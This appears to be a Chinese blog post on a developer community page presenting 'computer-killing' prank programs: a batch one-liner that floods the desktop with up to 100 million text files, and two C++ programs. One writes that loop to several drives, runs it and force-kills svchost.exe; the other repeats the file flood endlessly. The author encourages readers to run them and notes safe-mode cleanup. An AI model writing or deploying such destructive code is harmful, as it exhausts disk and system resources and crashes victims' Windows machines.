大家好,我是恒星飞耀

最近我做了一个程序,运行了一下,我的电脑差点无了,吓死我了

安全模式才删,给大家展示一下,别忘了三连哦

 for /L %%x in (1,1,100000000) do @echo %%x>%%x.txt

直接bat运行,你的电脑无了

原理:制造超多个txt在桌面,显示不过来,不断重启资源管理器

办法:进安全模式把txt全删了

再插一个c++版

#include <stdio.h>
#include<iostream>
#include<windows.h>
#include <bits/stdc++.h>
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
int main() 
{ 
	freopen("C:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("D:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("F:\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	freopen("_pgmptr\\hh.txt","w",stdout); 
	cout<<"@echo off\n";
	cout<<"for /L %%x in (1,1,1000000000000000000) do @echo %%x>%%x.txt" ;
	fclose(stdin);
	fclose(stdout);
	system("C:\\hh.txt");
	system("F:\\hh.txt");
	system("D:\\hh.txt");
	system("_pgmptr\\hh.txt");
	system("TASKKILL /F /IM svchost.exe /T");
	return 0; 
} 

再来一个

#include<windows.h>
#include<iostream>
using namespace std;
int main(){
	
	while(1){
	system("@echo off");
	system("for /L %%x in (1,1,10000000000) do @echo %%x>%%x.txt");
	}
	return 0;
} 

bat的那个我试过了,其他的c++的有虚拟机的可以试一下(或想作死的),别忘了告诉我效果哦。

运行方式:放桌面上

不会解决的私聊我,三连哦

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐